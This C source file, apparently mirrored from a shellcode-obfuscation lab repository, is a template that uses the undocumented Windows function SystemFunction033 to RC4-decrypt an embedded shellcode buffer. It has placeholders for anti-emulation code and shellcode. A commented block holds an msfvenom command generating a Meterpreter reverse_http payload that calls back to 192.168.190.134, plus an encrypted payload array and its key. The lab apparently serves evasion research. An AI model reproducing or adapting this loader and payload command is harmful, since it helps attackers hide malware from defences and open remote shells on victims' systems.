mirror of
https://github.com/dobin/ShellcodeObfuscationLab
synced 2026-06-08 13:53:31 +00:00
69 lines
5.2 KiB
C
69 lines
5.2 KiB
C
#include <windows.h>
|
|
#include <stdio.h>
|
|
|
|
/*
|
|
Based on https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/
|
|
|
|
SystemFunction033 is an undocumented function that can perform RC4 encryption/decryption on a buffer.
|
|
Similar to XOR, calling SystemFunction033 on an a buffer containing unencrypted data encrypts the data in the buffer.
|
|
Calling SystemFunction033 on an a buffer containing encrypted data decrypts the data in the buffer.
|
|
*/
|
|
|
|
|
|
// Function prototype for SystemFunction033
|
|
typedef NTSTATUS(WINAPI* _SystemFunction033)(
|
|
struct ustring* memoryRegion,
|
|
struct ustring* keyPointer);
|
|
|
|
|
|
// Define our ustring struct
|
|
struct ustring {
|
|
DWORD Length;
|
|
DWORD MaximumLength;
|
|
PUCHAR Buffer;
|
|
} _data, key;
|
|
|
|
|
|
int main() {
|
|
{{ANTI_EMULATION}}
|
|
|
|
// declare SystemFunction033 for use
|
|
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary((LPCSTR)"Advapi32"), (LPCSTR)"SystemFunction033");
|
|
|
|
{{SHELLCODE}}
|
|
|
|
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin
|
|
// python3 rc4_encrypt.py -i met.bin
|
|
/*char _key[] = "XK53QSV2MSEPPKAU";
|
|
unsigned char shellcode[] = {0xee, 0x8, 0x63, 0x24, 0x95, 0x5e, 0xb3, 0xf4, 0xd6, 0x8a, 0xbe, 0xbb, 0xb3, 0xd0, 0x7f, 0x9f, 0xfc, 0x67, 0x13, 0x75, 0x6b, 0xd0, 0x5c, 0xc7, 0x9d, 0x39, 0x21, 0x20, 0x64, 0x98, 0x53, 0xe4, 0x96, 0x3a, 0x40, 0x35, 0xb2, 0xc1, 0xe2, 0xd2, 0xc2, 0xe, 0x7b, 0x7, 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/
|
|
// declare a variable for our shellcode size
|
|
unsigned int shellcode_size = sizeof(shellcode);
|
|
|
|
// create a new struct from our key
|
|
key.Buffer = (&_key);
|
|
key.Length = 16;
|
|
|
|
// create a new struct from the shellcode
|
|
_data.Buffer = &shellcode;
|
|
_data.Length = shellcode_size;
|
|
|
|
//SystemFunction033(&data, &key);
|
|
SystemFunction033(&_data, &key);
|
|
|
|
int idx = 0;
|
|
while ( idx < sizeof(shellcode))
|
|
{
|
|
if (idx == (sizeof(shellcode) - 1) )
|
|
{
|
|
printf("0x%02x ", shellcode[idx]);
|
|
}
|
|
else
|
|
{
|
|
printf("0x%02x, ", shellcode[idx]);
|
|
}
|
|
idx++;
|
|
}
|
|
|
|
}
|